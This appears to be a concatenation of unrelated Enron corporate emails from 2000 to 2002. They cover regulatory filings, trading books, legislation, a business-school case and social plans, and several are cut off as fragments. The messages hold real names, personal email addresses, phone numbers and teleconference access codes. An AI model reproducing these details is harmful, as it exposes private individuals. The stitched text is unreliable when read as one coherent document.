I just checked in with the contractors here.....and it looks like it might be 
a good idea for you to spend about 30minutes with them to give you a guided 
tour of their documentation.

It's presented as a linked set of word documents and Visio drawing, with 
links to all the reletive parts as hyperlinks. It's pretty good and I imagine 
it will be very usefull to you, but probably requires a little introduction 
first.

Please feel free to come to my office whenever it is convenient. Even if I'm 
not available, the guys are just outside my office and I can easily stop 
whatever I'm doing to introduce you to the project manager.

regards

Steve

From:  Tamarchenko, Tanya  
Sent: Tuesday, January 23, 2001 4:53 PM
To: Stock, Stephen
Subject: Re: Winston

Steve,
- we spent about 5 fruitful hours with Winston last week.
- I pretty much understand the data flow when the code runs.
- I also got an idea where the time is spent during the execution of the code 
by questioning Winston.
I did not see any results of profiling the code. Winston's opinion is (as I 
understood) that he knows how much time is spent 
on different calculations and profiling is not easy to do, so we don't need 
to do it. 
- Based on above I suggested possible way to reduce the time credit model 
takes to run and we discussed it with Debbie, who was
going to arrange a meeting with Winston.
- It might be useful to look at the Documentation created by contractors, if 
you have it handy - send it to me, please.

Thank you,

Tanya.

From: Stephen Stock/ENRON@enronXgate on 01/23/2001 03:38 PM
cc:  
Subject: Winston

Tanya,

how's it going with code-review from your perspective?

...did you manage to talk to our Documentation contractors?

...if not, would you me to arrange for them to bring you the documentation as 
it currently stands?

regards

Steve

---------------------- Forwarded by Chris Germany/HOU/ECT on 01/18/2000 07:13 

Gloria G Barkowsky
01/17/2000 06:23 AM
cc:  
Subject: Eastern States Oil & Gas

Chris - What do I need to do to get this deal set up?  I have got to pay it 
and
Bryce does not want to do a manual on it.  Please help!  Thanks, Gloria 3-7118

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Distillate     http://www.carrfut.com/research/Energy1/hoil63.pdf
Unleaded     http://www.carrfut.com/research/Energy1/unlded63.pdf

Would you please send us EPSA's proposed answers to Hoecker's questions?

Mark:  How do you want to respond?  Sara

From: 	"Peyer, Sibyl" <sibyl.peyer@gs.com>@ENRON  
Sent:	Tuesday, November 06, 2001 1:13 PM
Subject:	RE: new account agreement

Tried to call with more questions:
Where is the money coming from?
Why is this trade being done out of this entity and not Enron Corp like the
others?

From: Peyer, Sibyl
Sent: Tuesday, November 06, 2001 1:42 PM
To: 'Shackleton, Sara'
Subject: RE: new account agreement

Hi Sara
No one here seems to know anything about ERMT Corp.
Can you confirm it's not a regulated entity?  (Public Utility, etc.)
Can we get a copy of its Cert. of Incorporation (whatever you have in your
files is fine.)
Anything else you can tell me about the activity of the entity would also be
helpful.

Thanks.

From: Shackleton, Sara [mailto:Sara.Shackleton@ENRON.com]
Sent: Tuesday, November 06, 2001 12:57 PM
To: Peyer, Sibyl
Subject: new account agreement

Sibyl:

Did you want me to dupe the Enron Corp. documents, i.e., change
signature lines?
I have a copy of the Corporate Account Agreement (including the
Schedule) but not the Repo.

Thank you.

Start Date: 4/29/01; HourAhead hour: 5;  No ancillary schedules awarded.  

Schedules\2001042905.txt

     Details: (Hour: 5 / Preferred:  41.00 / Final:  19.20)
  TRANS_DATE: 4/29/01

     Details: (Hour: 5 / Preferred: 194.00 / Final: 175.00)
  TRADING_SC: APX1
  DEAL_NO: 1
     Details: (Hour: 5 / Preferred: 127.00 / Final: 126.97)
  TRADING_SC: PWRX
  DEAL_NO: 1

     Details: (Hour: 5 / Preferred:   4.61 / Final:   4.42)
  LOAD_ID: PGE2
     Details: (Hour: 5 / Preferred:  42.61 / Final:  40.03)

While we await this infromation to be added to STAR here is a spread sheet 
with the clock acronyms.  It may be helpful to pull into Splus as a dataframe 
from use?

JD
---------------------- Forwarded by Jeff Duff/EWC/Enron on 05/31/2002 11:26 

Jeff Duff
05/24/2002 02:30 PM
To: Patricia Hunter/EWC/Enron@ENRON
cc: Rabi Sahoo/EWC/Enron@ENRON 

Subject: FAULTS CLOCK field

Patricia,

The attached spread sheet contains the fault number and corresponding CLOCK 
acronym.  For simplicity, we can call the new field CLOCK and it should be 
var(4).

If there any questions let me know.

Thanks,

JD

Dear Amazon.com Customer,

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Please note that this message was sent to the following e-mail
address:

mike.grigsby@enron.com

This request has been pending your approval for  45 days.  Please click 
http://itcapps.corp.enron.com/srrs/auth/emailLink.asp?ID=000000000024686&Page=
Approval to review and act upon this request.

Request ID          : 000000000024686
Request Create Date : 3/21/01 8:04:40 AM
Requested For       : juan.padron@enron.com
Resource Name       : TradeWave VACAR

Several recent developments, and in the interest of economy (mine!), I am 
copying all of you, who will have varying interests in this.

First, as soon as the upper house of parliament passes legislation, Austria 
will have accelerated their market oppening, to 100% in power by 2001, 
October, and by 2002, October for gas.  Sadia, you will want to reflect this 
in what you are doing for Kyran/EES, and Kathryn, you will want to note this, 
if Investor Relations is updating this data for analysts.  Margaret, FYI to 
you, too.

Second, I note that this decision was reached after being supported by a 
studyby the Austrian Institute of Economic Research (WIFO), saying 
liberalisation would bring down prices by 12-15%.  Paul H., suggest you have 
Viviana get a copy, and if in English, send copies to Margaret Carson.

Belgian cabinet has approved draft regulation lowering power threshold to 
20GWh p.a.   This goes to 10 GWh on 31 December 2002.  Sadia, I think this is 
again an acceleration, to be reflected in your updated numbers.  Margaret and 
Kathryn, also note.

Finally, Kyran, I see that EnergieNed has issued a study saying that there is 
"not a direct relationship between efficiency and deregulation".  I may take 
issue with this, depending upon what the full text says.  Can you work with 
Teun/Sadia to obtain a copy, and, if not too lengthy, get it translated for 
my review (and presumably your's, too)?  thanks

Please do not hesitate to contact me should any of you have any questions.    
thanks  mcs   

Start Date: 4/20/01; HourAhead hour: 7;  No ancillary schedules awarded.  No 

Schedules\2001042007.txt

Remember last time we were at the El Patio??  Could be fun- we could stop by 
after Christmas shopping if you want.

---------------------- Forwarded by Shanna Husser/HOU/EES on 11/30/2000 01:11 
   Hector Campos @ ECT                11/30/2000 01:06 PM

To: Brian Hoskins/Enron Communications@Enron Communications, Alicia 
Perkins/HOU/EES@EES, Jennifer Reside/HOU/EES@EES, Crystal Hyde/HOU/ECT@ECT, 
Robert Fuller/HOU/ECT@ECT, Eric Bass/HOU/ECT@ECT, Shanna Husser/HOU/EES@EES, 
Christa Winfrey/HOU/ECT@ECT, Lenine Jeganathan/HOU/ECT@ECT, Heather 
Alon/HOU/ECT@ECT, Matthew Lenhart/HOU/ECT@ECT, Bryan Hull/HOU/ECT@ECT
cc: Gerardo Benitez/Corp/Enron@Enron 
Subject: Drinks & other good stuff

A suggestion for your Friday night plans... hope to see you there.

-HO

---------------------- Forwarded by Hector Campos/HOU/ECT on 11/30/2000 12:57 
To: Luis Mena/NA/Enron@Enron, Hector Campos/HOU/ECT@ECT, Jeffrey 
Snyder/Corp/Enron@Enron, Dayem Khandker/NA/Enron@Enron, Miguel 
Nasser/NA/Enron@Enron
cc:  

Organizing drinks n margaritas on Friday... 
Over at "El Patio"  at 9:00 - the place is renown for killer margaritas 
(after the second or third people have been known to start table dancing and 
other silly things that I know none of you jokes haver ever done).

Please let me know if there are any issues, concerns, second thoughts, 
cancelations, etc 

Take care and hope to see you there!
Gerardo

PS - feel free to bring other friends over 

fyi

From: 	Walker, Stacy   On Behalf Of Kimberly, Kelly
Sent:	Wednesday, February 28, 2001 11:07 AM
To:	Stanley, Brian; Bruce, Dan; Schafer, Dave; Clay, Eddie; Kalmans, Elyse; Humphrey, Gene; Wasaff, George; Adams, Gregory; Boyd, Hap; Hughes, James; Mrha, Jean; Mogal, Jimmy; Mahan, Mariella; Schroeder, Mark; Terraso, Michael; Padron, Miguel; Taylor, Mitchell; Rieker, Paula; Buy, Rick; Walls, Rob; Corman, Shelley; Kean, Steven; DeSpain, Tim; Sharp, Vicki
Cc:	Lay, Kenneth; Fleming, Rosalee; Blancke, Nicola; Weatherstone, Mary; Costello, Lisa; Hooks, Barbara; Flores, Zulie; Frazier, Bert; Prizont, Karina; Gray, Dortha; Blackwood, Connie; Jones, Melissa; Mathews, Leena; Romero, Isabel; Ashcroft, Beverley; Glenn, Laura; Campos, Karen; Boling, Rosario; Valencia, Laura; Heathman, Karen K.; Hicks, Debra; Mann, Ruth; McVicker, Maureen; Sczykutowicz, Marion; Lopez, Leasa; Iannarone, Lauren; McKalip-Thompson, Catherine; Worthen, Susan
Subject:	Corporate Responsibility Task Force information

Attached are the minutes from the February 6 Corporate Responsibility Task Force meeting.   Also attached is a chart outlining in more detail the metrics for success for each subcommittee.  The second document is the result of a meeting among subcommittee chairs and other interested task force members to help flesh out their purpose as a step toward developing a measurable work plan.

Let me know if you have questions or comments.  If you have not been contacted already, you will be hearing from your subcommittee chairs shortly regarding your next subcommittee meeting.  We also plan to set the date of the next overall task force meeting within the next couple of weeks.

Can we review over weekend- I'll ask Maureen to schedule an hour for the 3 of 
us on Monday.
---------------------- Forwarded by Richard Shapiro/NA/Enron on 03/02/2001 
07:39 AM ---------------------------

"Seabron Adamson" <seabron.adamson@frontier-economics.com> on 03/01/2001 
05:42:09 PM
To: <James.D.Steffes@enron.com>, <Richard.Shapiro@enron.com>
cc:  

Subject: Revised draft attributes paper

We have tried to develop five basic market objectives, show why these
critical given Enron's strategic position, and describe some of the market
attributes that follow from the positions. I think these attributes will
lead directly to (at least our) proposed "ideal" RTO structure.

We can cut down some of the background discussion if you wish to circulate
it to any other audiences within the company. But I wanted you guys to have
a sense of where we are coming from with respect to some of the conclusions.

Unless instructed otherwise I will continue to circulate documents only to
the two of you, and you can forward to others as you see fit.

Seabron

copying of this e-mail, and any attachments thereto, is strictly prohibited.

 - 01-03-01 SA Draft paper on market objectives and attributes.doc

Thanks Susan.  I think that we can readily distinguish the competitive nature of the deal information requested here (including book outs and when we entered the transaction) with the transparent data that we want the one (regional) grid operator/RTO to provide in real time, including MCP, transmission outages, etc..  I agree that we should examine our avenues for opposing parts of this.   I think Elizabeth has asked Sam Behrens to help Enron on this.  

Also, when is this data required to be posted?  I don't think that our traders use the current quarterly filings of competitors for much data, other than the bottom line amount sold for ranking the power marketers.  Therefore, our typical argument that we can absorb info better than competitors (even when we have to show ours), may not be applicable here (Susan, you may want to check with Kevin and Tim on that). 

From: 	Lindberg, Susan  
Sent:	Thursday, September 06, 2001 2:26 PM
To:	Nicolay, Christi L.; Alvarez, Ray; Comnes, Alan; Steffes, James D.; Robertson, Linda; Novosel, Sarah; Fulton, Donna
Cc:	Sager, Elizabeth; Murphy, Harlan
Subject:	NOPR on reporting requirements -- please comment

As described in my August 22 e-mail, FERC has issued a NOPR proposing revised public utility filing requirements.  A copy of my Aug. 22 summary is attached for your reference.  I've discussed this with Elizabeth Sager and Harlan Murphy in ENA Legal, and the following is a very brief summary of aspects of the NOPR that we think Enron should consider opposing.  Comments are due Oct. 5.

If approved, FERC's proposed revisions would affect Enron by requiring electronic posting of certain transactional data by power marketers and entities selling at wholesale pursuant to market-based rate authority.

Currently, EPMI (and gencos with market-based rate authority) must file the following information quarterly:

	- identification of the buyer/seller;
	- description of the service, (e.g., purchase/sale, firm/non-firm); 
	- delivery point(s); 
	- price(s) (price per transaction rather than price ranges) 
	- quantities, (e.g., MWh/MW); and 
	- dates/duration of service (e.g., daily, monthly, hourly, etc.) 
Such information is supposed to be reported on a transaction by transaction (rather than aggregated) basis.  The quarterly filings are paper filings and are not granted confidential treatment.
The quarterly filing requirements proposed in the NOPR differ in that they would, 1) in addition to all of the above information, also require posting of the transaction execution date and the point of receipt; 2) require electronic posting of an Index of Customers rather than paper filing and 3) require reporting for all sales transactions including book outs or net outs.  Enron should consider objecting to these revisions.  I've spoken with some of the traders and they agree.  The effect of these requirements would be that Enron's competitors will now have quicker, easier access to not only the usual reported information but also to the transaction execution date which will disclose a place and time for the transaction.  FERC has cited very little valid justification for imposing these new requirements.  
ENA Legal representatives and I will be participating in the EPSA conference call to discuss the NOPR on Friday.  I would like to have a consensus on Enron's general position by then.  I do not know whether we will be joining EPSA's comments or filing on our own.  Please let me know your thoughts and call me if you would like to discuss.  Also, if you don't already have information on the EPSA conference call and want to participate, let me know and I can provide you with the call-in number and agenda.
SSL

 << File: RM01-8 summary.doc >> 

Louise, please find attached the info requested.  The total Origination shown is greater then the value that you had provided.  The attached values were taken off of the itemized report that you had previously forwarded.  

Frank

Susan, the following books still have positions in them. 

PWR-NG-WEST-BAS - counterparty is Enron Canada
PWR-NG-WEST-PRC - transactions are internal
PWR-NG-LTSW-PRC - all transactions are internal

John

From: 	White, Stacey W.  
Sent:	Tuesday, January 08, 2002 11:15 AM
To:	Postlethwaite, John
Subject:	FW: 

Just make sure this is OK.

Stacey

Sent:	Tuesday, January 08, 2002 11:52 AM
To:	Evans, Casey; White, Stacey W.; Dunton, Heather; Chang, Fran
Cc:	Wilson, Shona; Abel, Chris; Ayala, Susie
Subject:	

The following books will be inactivated today due to the fact that there are no 3rd party nor intercompany positions. Please advise if otherwise.

Thank you,
Susan
x3-1462

PWR-NG-WEST-GD-GDL
PWR-NG-LTCA-BAS	
PWR-NG-LTCA-PRC	
PWR-NG-LTSW-BAS	
PWR-NG-LTSW-PRC	
PWR-NG-ST-WEST-BAS	
PWR-NG-ST-WEST-PRC	
PWR-NG-STNW-BAS	
PWR-NG-STNW-PRC	
PWR-NG-WEST-BAS	
PWR-NG-WEST-PRC	
PWR-NG-WST-BAS	
PWR-NG-WST-PRC	
PWR-PRICE-PRC-MIDC	
PWR-PRICE-PRC-PWRC	
PWR-PRICE-PRC-PWRP	

Contrary to popular belief I am alive...The 22nd works for me too (although 
given my current work situation I'm sure I'd be late - better late than 
never, right?)  Anyway, both of the current suggestions sound good ( I've 
been to Benji's - great food and heard really good things about Ousie's table 
as well).  

But Laura was right, Lisa is currently my social planner - how scarey is 
that? - so she'll make sure I know what's going on.

Can't wait to see you guys,
Susan

	From:  Laura Jahnke <ljahnke@aerotek.com>                           
12/12/2000 09:20 AM
	
Please respond to ljahnke@aerotek.com
To: Susan Edwards <susan_s_edwards@yahoo.com>, sscott5@enron.com, Ash Mace 
<ashley.a.mace@williams.com>, Lisa.Gillette@enron.com, elaina5@hotmail.com, 
Katy Hester <katyhester@hotmail.com>, Emily Hillegeist 
<ehillegeist@hotmail.com>, Kelbarker@aol.com, Kasey Walker 
<kaseywalker@mindspring.com>, sonderfan@hotmail.com, lodgesarah@hotmail.com, 
Laura White <LWhite@StageStores.com>, Corinne_Connally@Dell.com
cc:  

Girls-
Thank you for the responses.  So far it has been overwhelmingly
positive!  I really can't wait to get us all together.  Emily had
suggested Ousies's Table-as well as a coworker of mine.  Yesterday
during our lunch break we went and looked at Ousies's and it seems
pretty cute.  Unfortunately they were not open, but I heard they light
it up at night and it is supposed to be really pretty.  The other
suggestion is Benji's.  Lis-you made a good point.  It would be nice to
try somewhere new.
I have not heard from Sarah or Kelly-so if you talk to them-please pass
them the message.  I know Kelly usually checks her email, but I am not
sure about Sarah.  If anyone has a number for her-let me know.  I also
haven't heard from Susan Scott-so Lisa- you are in charge of that.
Ashley-I know you've gotten this message-so reply!  : )
Corinne-Sorry that you will not be able to make it. : (  If anything
changes-let us know.
Jen's flight comes in around 7 that night-so I thought we would make the
reservations for 8-830 so she has time to make it.
Let me know what ya'll think.
-Laura

That's good, TDS is showing desk sold 11,000

From: 	Lavorato, John  
Sent:	Monday, November 26, 2001 12:06 PM
To:	Hayden, Frank
Subject:	RE: New Shorts

I've bought 5800 contracts non pv'd.  I think Zufferli has bought 3000 non pv'd..

Sent:	Monday, November 26, 2001 11:59 AM
To:	Lavorato, John; Port, David
Subject:	New Shorts

John,
TDS is estimating that the desk is getting shorter price.  We are confirming with desk heads and will have exact number shortly.
Frank

I have tentatively set up a 2:00 central time conference call with Bill 
Bryant to discuss sitting down with the staff of PSC to discuss our 
petition.  Are you available at this time?

The Energy and Air Quality Subcommittee meet for almost six hours today and 
approved an amended version of H.R. 1647, Chairman Barton's emergency 
legislation to aid California, by a 17-13 party line vote.  The full Energy 
and Commerce Committee may take it up as early as next week (probably 
Thursday, May 17th).

The Subcommittee DEFEATED an amendment by Rep. Waxman (D-CA) to impose 
wholesale price caps for 18 months.  The amendment was defeated 12-20 with 
all Republicans voting against, including the three from California and Rep. 
Greg Walden (R-OR), who while seen as the last to decide to oppose the price 
cap amendment, was the most forceful and articulate in opposition to the 
amendment.  Also voting "NO" were Democratic Reps. Ralph Hall (D-TX) and 
Chris John (D-TX), with which we had met in recent days.  The final vote 
tracked our whip count going into the meeting.

Rep. Albert Wynn (D-MD) offered and withdrew an amendment to delete the 
"negawatts" provision.  There was bipartisan criticism that while the concept 
made sense, there were potential problems in terms of possible games playing, 
including end users being able to sell power while not actualy reducing their 
normal power levels.  Another member said that electric coops that are 
required to sell at cost could have customers then go out and resell that 
power and make a lot of money.  Several Members said businesses could shut 
down, put workers out of work and become energy marketers and make more 
money.  Chairman Barton made a forceful defense of negawatts.  While the 
amendment to strike was deleted, we will need to respond to these criticisms 
and shore this up before full committee next week.  There will be another 
attempt to delete at full committee unless these concerns are addressed in an 
amended version.

Ranking Democrat Rick Boucher (D-VA) offered and withdrew an amendment to 
reinstate FERC maximum prices for the secondary transmission market, thus 
reversing the Feb. 2000 FERC order.  This woudl last for 18 months.  
Chairman  Barton said he agreed with Boucher that there is a problem with 
what appear to be high gas transmission rates to California, but he disagrees 
with the proposed remedy.  He pledged to work with Boucher before Full 
Committee mark-up. We are obtaining a copy of this amendment and should 
analyze it ASAP for its potential impact on Enron operations.

Rep. Ed Markey (D-MA) offered and withdrew an amendment to impose a series of 
new tests to be administered by FERC all with the goal of discouraging spot 
market transactions, or at least what he would define as excessive use of the 
spot market, and at the same time encourage "deep bilateral mechanisms."  The 
mechanisms included a "market balance test" that would say only sellers with 
a commitment to the long term market could sell in the spot market at 
unregulated rates and "spot market circuit breakers" that would be triggered 
when reserves are low in a given market.  Chairman Barton said he likes the 
concept of a spot market circuit breaker, but felt that the amendment was too 
complicated to be evaluated today.  We will also pursue an analysis of this 
amendment since it will likely be offered again in some form.

Mr. Markey also offered and withdrew a "net metering" proposal that would 
establish federal interconnection standards for individual consumers who 
would want to use fuel cells and other renewable technology to put power onto 
the system.  It was interesting that those who opposed negawatts spoke 
favorably of net metering even though they are complementary.

The subcommittee by voice vote adopted a Walden Amendment to strike the 
section of the bill that would have required an RTO if 10 of the western 
governors approved it.  The debate was pro-RTO but the rationale for deleting 
the provision is that one is already being formed and Members from those 
states did not want to upset the work already under way.

A series of other amendments on other matters were offered and withdrawn, 
none of which relate to our activities.

Any thoughts?

Tom

From: 	Rozycki, Joanne  
Sent:	Wednesday, January 30, 2002 11:28 AM
To:	Shively, Hunter S.; Neal, Scott; Grigsby, Mike; Allen, Phillip K.; Miller, Stephanie; Martin, Thomas A.; Superty, Robert; Calcagno, Suzanne; Baumbach, David; Steffes, James D.; Tycholiz, Barry; Vickers, Frank
Cc:	Davis, Angela; Nemec, Gerald; Haedicke, Mark E.; Kitchen, Louise; Taylor, Mark E (Legal)
Subject:	UBS Start-Up

The attached memo is being forwarded to you at the instruction of Jeff Hodge.

Joanne Rozycki
Senior Administrative Assistant
1400 Smith Street, EB3880D
Phone:  (713) 853-5968     Fax:      (713) 646-3490
Email:   joanne.rozycki@enron.com

BH, 

Sorry I didn't get these to you last night.  I left the office sooner than 
planned.  This list is pretty slim.  I spent much time trying to learn to 
trade Waha, which took a considerable amount of time away from producing 
reults for you.  With me now concentrating on operations and with the plan to 
hire an additional person, this will change.  Let me know if you have any 
questions on my list of accomplishments.

D

Info re the Bingham deal team
----- Forwarded by Barton Clark/HOU/ECT on 09/12/2000 09:56 AM -----

	"Politan, Nicholas H." <PolitaNH@bingham.com>
	09/07/2000 11:21 AM
		 
		 To: "Barton Clark (E-mail)" <Barton.Clark@enron.com>
		 cc: 
		 Subject: FW: Mark Oland Biography.DOC

Bart- Here is Mark's bio.  Others will follow separately.  Thanks.  --Nick

> From:  Balukas, Deborah T.
> Sent: Thursday, September 07, 2000 10:04 AM
> To: Politan, Nicholas H.
> Cc: Silvers, Bruce C.
> Subject: Mark Oland Biography.DOC
>
> Attached is my biography.
>
>  <<Mark Oland Biography.DOC>>

 - Mark Oland Biography.DOC

Sounds good.  Where / when?

Fax new account documents to Mike then Fed-Ex to:

Mike Bruegel
Bear Stearns Securities Corp
440 South Lasalle, Suite 1021
Chicago, IL 60605

Fax to: 312-663-3491
Phone: 312-663-3253

If you can't tell, I'm trying to get you to come back at me...  I hope you
don't think I'm being serious.

From: Katie Trullinger
Sent: Wednesday, April 18, 2001 3:27 PM
To: 'Mark.Guzman@enron.com'
Subject: RE: hi!

Why would you need to come back?  You're the one always ripping on your
friends for never wanting to hang out with any chicks!!  I wasn't meaning
that towards you  But if you feel like making some sort of weak ass attempt
at making fun because you still think I'm a freekin' lesbian then go right
ahead!

From: Mark.Guzman@enron.com [mailto:Mark.Guzman@enron.com]
Sent: Wednesday, April 18, 2001 3:13 PM
To: Katie.Trullinger@wfsg.com

I thought of a great comeback for that one but since I haven't heard from
you in a while I am going to be nice

fyi  - EOL information
---------------------- Forwarded by Scott Neal/HOU/ECT on 05/15/2001 04:03 PM 
From: Bill Kyle/ENRON@enronXgate on 04/12/2001 01:59 PM
cc: Bryan Hull/ENRON@enronXgate 
Subject: Eol Trades

I have attached a list of Enron's Top Trading customers who are not doing 
business on EOL.  Customers designated as Execute are signed up on EOL and 
can begin transacting if they have suitable credit.  Please circulate this 
list to your team to push some of these counterparties to begin using 
EnronOnline.  If you have any questions, feel free to contact either myself 
or Bryan Hull.  Thanks for your help.

 Giving more than 100%

Ever wonder about those people who say they are giving more than 100%?
We have all been to those meetings where someone wants over 100%.
How about achieving 103%?     
 
Here's a little math that might prove helpful: 

What makes life 100%?
If A B C D E F G H I J K L M N O P Q R S T U V W X Y Z is
represented as:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 1819 20 21 22 23 24 25 26
 
Then:
H A R D W O R K
8 1 18 4 23 15 18 11 = 98%

K N O W L E D G E
11 14 15 23 12 5 4 7 5 = 96%

But,
A T T I T U D E
1 20 20 9 20 21 4 5 = 100%
And,
B U L L S H I T
2 21 12 12 19 8 9 20 = 103%

So, it stands to reason that hard work and knowledge will get you
close, attitude will get you there, but bullshit will put you over the top.
 
Since the case asked us to evaluate this from Munro's point of view, it is
his
job to examine the potential the deals in the best interest of Time's
shareholders.  Therefore, in my opinion we will have to incorporate the
after-tax value to the Time shareholder as one piece of the puzzle.  The
difficulty with the tax implications to the shareholder is that we do not
know
the average shareholder's cost basis.  It should just be a mention in our
memo.

As I mention in a previous e-mail, there is no tax implication to the
corporation except for the leverage and tax shield.  Unless we completely
recreate the DCF I don't think we can accurately quantify the tax shield
advantage especially since we don't know how the additional leverage will
alter
the WACC, i.e. what is the optimal WACC of the combined company.  Another
complication is the difficulty in recreating the DCF is the timing and tax
implications of the asset sales which we know to be around $3.5 billion.

Our professor doesn't seem to require any advanced calculations.  We are
probably all right with some approximations.
**********************************************
Mark D. Guinney, CFA
Consultant
Watson Wyatt Investment Consulting
345 California Street, Ste. 1400
San Francisco, CA  94104
(415) 733-4487 ph.
(415) 733-4190 fax

____________________Reply Separator____________________
Subject:    Re: Time Warner
Author: "Dylan Windham" <SMTP:dwindham@uclink4.berkeley.edu>
Date:       04/29/2001 12:29 AM

Jeff:

I have been looking at your numbers and I have a few questions.

1).     If we look at this from the stand point of the Time shareholder's,
we do not really need to worry about the make-up of Time-Paramount after
the merger.  Since this is an all cash deal, the purchase price will be
given to Time's shareholders.  This amount needs to be above the DCF of the
Time-Warner deal for us to suggest it.

2).     As for the taxes maybe Mark can shed some light on the
issue.  During the acquisition phase the only taxes that will be paid will
be the capital gains paid by Time Shareholders.  Paramount will not pay
taxes on the purchase.  Paramount's tax position will improve due to the
increased debt payments.  Looking at it from Time shareholder's we really
don't care do we?  Maybe I am wrong.

Otherwise everything looked good.  I like the common sized balance
sheet.  I should be home all day tomorrow.  Call me at 925-362-0210 and let
me know how I can pitch in.

Dylan

At 08:55 PM 4/28/01 -0500, Jeff.Dasovich@enron.com wrote:

>OK Gang:
>
>Well, I've been crunching numbers all day, and haven't yet gotten to the
>writing.  I've attached Dylan's original responses for reference.  Figure
>it'll be a memo from Time's CEO to the Time Board.
>
>I've leaving now for Mendocino, but will be back early tomorrow to finish
>this up.  Please check out the spreadsheet.
>
>The case is sort of confusing?how do Time's analysts value Time at
>$189-212, when they're trading at 109 the day before the announcement of
>the deal with Warner.  That doesn't jive.  Are they saying that, absent
>synergies, the combined Time/Warner is worth the enterprise value of Time
>at 189-212 plus the enterprise value of Warner at $63-71 (again, the
>analysts valuation)?  That just seems ridiculous, give where they're
>trading.
>
>Anyway, here's where my analysis is heading----tell me if I'm smoking
>crack.
>
>The deal isn't really $175 per share.  It's $175 LESS the taxes that will
>have to paid (since it's a purchase deal) PLUS the value of the tax shield
>created by the net increase of $8.9B in new debt that Paramount will take
>on.  Does this seem right?  Could folks look at my spreadsheet?  I've got
>it conceptually set up, but I'm not quite sure how to calculate the taxes
>paid under the purchase method or the value of the tax shield (assuming
>that this is correct.  If I'm just completely out of it with this angle,
>just let me know.  In any case, seems that there's some value in the
>tax-free (Time-Warner) versus the taxable (Time-Paramount) deals.
>Presumably, we could take the total enterprise value of Time-Warner
>(nontaxed) and compared it to the total enterprise of Paramount-Time
>(taxed) and compare the two.  I've got a hunch that the Time-Warner number
>may win the day, but I haven't gotten that far in the crunching yet.
>
>In any case, I'll be back around Noon tomorrow and will crank the puppy
>out.
>
>Best,
>Jeff
>
>(See attached file: Timewar_Jeff Calculations.xls)(See attached file:
>TimeWarner.doc)

The Texas statute allows for full collection of stranded costs with a final 
determination of stranded costs in 2004 and interim collection in 2002 and 
2003 based on a Commission estimate.  The Commission bases its estimate of 
stranded costs on the ECOM (Excess Costs Over Market) Model.  The ECOM model 
computes the difference between the revenues a utility would receive in a 
regulated environment versus the revenues a utility would receive if it sold 
all of its generation at market prices (the market price in the ECOM Model is 
based on a Combined Cycle Combustion Turbine). 

In 1998 the Commission estimated more than $4 Billion in stranded costs based 
on the ECOM Model.  Because stranded costs are the difference between the 
market value and the book value of utility generating assets, the Commission 
ordered utilities to "mitigate" stranded costs by increasing depreciation of 
generating assets.  The accelerated depreciation, came from two sources:

 1. Redirected depreciation -- Utilities were allowed to defer depreciation 
of their wires assets and increase depreciation on generating assets; and,
 2. Application of Excess Earnings -- instead of decreasing utility rates the 
Commission set a cap on earnings and directed the utilities to apply any 
earnings above the cap to depreciating generating assets.

Because of the unexpected rise in natural gas prices the market price in the 
ECOM model rose significantly above the weighted average price of the 
regulated side which is weighted by coal and nuclear.  This caused the 2001 
estimate of stranded costs to be severely negative.  Even more negative than 
the amounts of redirected depreciation and application of excess earnings.

Enron argued at the Commission that because the estimate of stranded cost was 
negative the accelerated depreciation was unnecessary.  Consequently, we 
argued that the money spent on mitigation should be used to reduce wires 
rates.  The utilities argued that they should keep mitigation until the final 
determination of stranded costs in 2004.  The Commission ruled in Enron's 
favor.  

Sylvester Turner filed H.B. 2107 to address this situation, however, rather 
than simply reducing wires charges, the bill as filed would reduce utility 
rates making it more difficult to compete.  We are working to amend the bill 
so that the credit for redirected depreciation and excess earnings goes only 
to reducing wires rates and that any negative stranded costs beyond that 
amount would be refunded directly to ratepayers.

Please print all attachments for me.  Thanks. 
---------------------- Forwarded by Sally Beck/HOU/ECT on 09/01/2000 04:24 PM 

Anthony Key
08/29/2000 03:28 AM
To: Shona Wilson/NA/Enron@Enron, Sally Beck/HOU/ECT@ECT, Brent A 
Price/HOU/ECT@ECT
cc: Naomi Connell/LON/ECT@ECT 
Subject: due dilligence checklist for acquisitions

As requested by Shona, attached is a blank SOAP form, a completed SOAP form 
for your review and a simple presentation on how the SOAP process operates. 
Hope you find it useful. Please come back to me if you need any more info.

Anthony

---------------------- Forwarded by Anthony Key/LON/ECT on 29/08/2000 09:29 

Naomi Connell
29/08/2000 08:55
To: Anthony Key/LON/ECT@ECT
cc:  

Could you get this out to the people below - thanks
---------------------- Forwarded by Naomi Connell/LON/ECT on 29/08/2000 08:50 
   
	From:  Shona Wilson @ ENRON                           28/08/2000 14:44
	
To: Sally Beck/HOU/ECT@ECT, Brent A Price/HOU/ECT@ECT

I'm in the process of putting together some slides for the presentation on 
the 7th.  In doing this, I was reviewing the global operations presentation 
and  noted on the global operations initiative slide one of the initiatives 
listed is "creation of due diligence checklist for acquisitions." I know 
Naomi Connell has put together the SOAP which her group in London uses for 
this purpose which might be useful.  

Naomi - could you send the three of us a copy of this document?

Thanks

Shona

Barbara,

Here's the latest word I have on the meeting, which sets it for tomorrow.  Is 
there something later which sets it for today?

Thanks,

Kay
---------------------- Forwarded by Kay Mann/Corp/Enron on 02/20/2001 10:42 

John Schwartzenburg@ENRON_DEVELOPMENT
02/16/2001 05:32 PM
Sent by: Shirley Oliver@ENRON_DEVELOPMENT
To: Sheila Tweed/HOU/ECT@ECT, Kay Mann/Corp/Enron@Enron, Jeffrey T 
Hodge/HOU/ECT@ECT, Alan Aronowitz/HOU/ECT@ECT, Keith Dodson/NA/Enron@ENRON, 
Barbara N Gray/HOU/ECT@ECT
cc: Suzanne Adams/HOU/ECT@ECT, Kaye Ellis/HOU/ECT@ECT, 
legal.temp.3@enron.com, Donna J Martin/ENRON_DEVELOPMENT@ENRON_DEVELOPMENt, 
legal.temp.1@enron.com 

Subject: MEETING RESCHEDULED:  EECC/Energy Asset Services Reorg: Discussion 
re documentatiuon of asset construction projects

PLEASE NOTE:  

The above mentioned meeting has been rescheduled and confirmed for Wednesday, 
February 21, 2001 from 11:15 am - 12:15 pm.  Please join Keith Dodson and 
John in BoardRoom 3AC4C1.  Lunch will be provided.  Please attend or call in 
if you can.  If you cannot, John will be glad to follow-up with you 
individually.

For those who will be dialing into this meeting, following is the AT&T 
TeleConference information:

 Domestic Dial in Number: 888-422-7101
 International Dial in Number: 608-250-9281
 Participant Code:   935637
 Host Code (JWVS only): 174520

Thank you,

JWVS

